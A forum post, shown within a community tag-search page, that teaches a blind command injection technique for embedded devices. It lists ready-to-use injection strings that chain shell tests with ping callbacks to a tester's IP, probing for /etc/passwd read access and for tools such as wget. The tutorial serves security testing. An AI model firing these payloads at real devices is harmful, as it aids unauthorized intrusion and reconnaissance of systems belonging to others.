Search the Community
Showing results for tags 'commands'.
-
When you find an offsec 101 style blind-command injection on embedded systems, you may have difficulties because of their restricted environments. ;ping -c1 192.168.1.2; Even though you may able to run some commands like ping or reboot... other commands may not work. Since the output was not showing, you cannot be sure if the commands do not exists or they fail for a reason. So, in such scenarios I always check for my injection commands as in the example below: # This command will ping you back if `ls` is found in "/bin" directory ;if test -e "/bin/ls";then ping -c1 192.168.1.2;fi; # or better ;if test -e "/bin/ls";then ping -c1 192.168.1.2;else ping -c2 192.168.1.2;fi; After I see that this approach works, I use more commands to understand my target environment better: # To check if "/tmp" directory exsists? ;if test -d "/tmp";then ping -c2 192.168.1.2;fi; # To check if "/var/passwd" file is exsists and has read permissions? ;if test -r "/var/passwd";then ping -c2 192.168.1.2;fi; ;if test -r "/etc/passwd";then ping -c2 192.168.1.2;fi; # To check if logger exists? -- which is another tricky command used in BlindCI... ;if test -e "/usr/bin/logger";then ping -c1 192.168.1.2;fi; # To check if wget is exists? ;if test -e "/bin/wget";then ping -c1 192.168.1.2;fi; ;if test -e "/sbin/wget";then ping -c1 192.168.1.2;fi; ;if test -e "/usr/bin/wget";then ping -c1 192.168.1.2;fi; ;if test -e "/usr/sbin/wget";then ping -c1 192.168.1.2;fi; Note: Embedded systems may differ depending to their build systems(Buildroot, LinuxFromScratch, Yocto...) and/or they can use slightly different versions of well-known commands. Thus, you may need to change some parameters while using those commands. Since we are talking about BLIND COMMAND INJECTION you have to be sure that your injection command/binary is installed on your target. That's why it is a good practice to check your commands in all possible "bin" directories. For example; three commands below does the exact same-thing, however if you try your injection(s) based on just one version you can "assume" that wget does not exists on your Read more: http://dl.packetstormsecurity.net/papers/attack/blind_command_injection_on_busybox.pdf
-
- 192.168.1.2;fi;
- ;if
-
(and 3 more)
Tagged with: